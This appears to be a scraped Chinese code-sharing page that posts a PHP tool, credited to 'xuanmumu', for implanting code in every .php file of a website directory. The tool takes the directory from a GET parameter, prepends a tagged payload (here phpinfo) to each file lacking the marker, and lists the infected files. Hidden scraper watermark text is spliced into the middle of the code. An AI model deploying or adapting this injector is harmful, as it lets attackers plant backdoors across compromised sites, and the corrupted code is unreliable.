总是忘记一句话放到哪个文件里去了,直接全部干掉…
<?//xy7 <BR>if (!isset($dir) or empty($dir)) { <BR>$dir=str_replace('\\','/',dirname(__FILE__)); <BR>echo "<font color="#00688B">".$dir."</font>"; <BR><strong style="color:transparent">本&文来源gao@daima#com搞(%代@#码网@</strong><textarea>搞gaodaima代码</textarea>} else { <BR>$dir=$_GET['dir']; <BR>echo "<font color="#00688B">".$dir."</font>"; <BR>} <BR>$evilcode="<?phpinfo();//xy7?>"; <BR>$testdir = opendir($dir); <BR>while($filea = @readdir($testdir)){ <BR>if(strstr($filea, '.php')){ <BR>$fp = @fopen($filea, 'r+'); <BR>if (!strstr(@fread($fp, 20), 'xy7')){ <BR>rewind($fp); <BR>$old = @fread($fp, filesize($filea)); <BR>rewind($fp); <BR>fwrite($fp, $evilcode . $old); <BR>} <BR>fclose($fp); <BR>} <BR>} <BR>closedir($testdir); <BR>?> <BR><hr> <BR><table width="100%" border="0" cellpadding="3" cellspacing="1"> <BR><tr> <BR><td><b>被X的文件</b></td> <BR><td><b>时间</b></td> <BR><td><b>大小</b></td> <BR></tr> <BR><?php <BR>$dirs=@opendir($dir); <BR>while ($file=@readdir($dirs)) { <BR>if ((is_file($file)) and (ereg("\.php{0,1}$",$file))) <BR>{$b="$dir/$file"; <BR>$a=@is_dir($b); <BR>if($a=="0"){ <BR>$size=@filesize("$dir/$file"); <BR>$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file")); <BR>echo "<tr>\n"; <BR>echo "<td>$file</td>\n"; <BR>echo " <td>$lastsave</td>\n"; <BR>echo " <td>$size Bytes</td>\n"; <BR>} <BR>} <BR>} <BR>@closedir($dirs); <BR>?> <BR></table> <BR>
codz by xuanmumu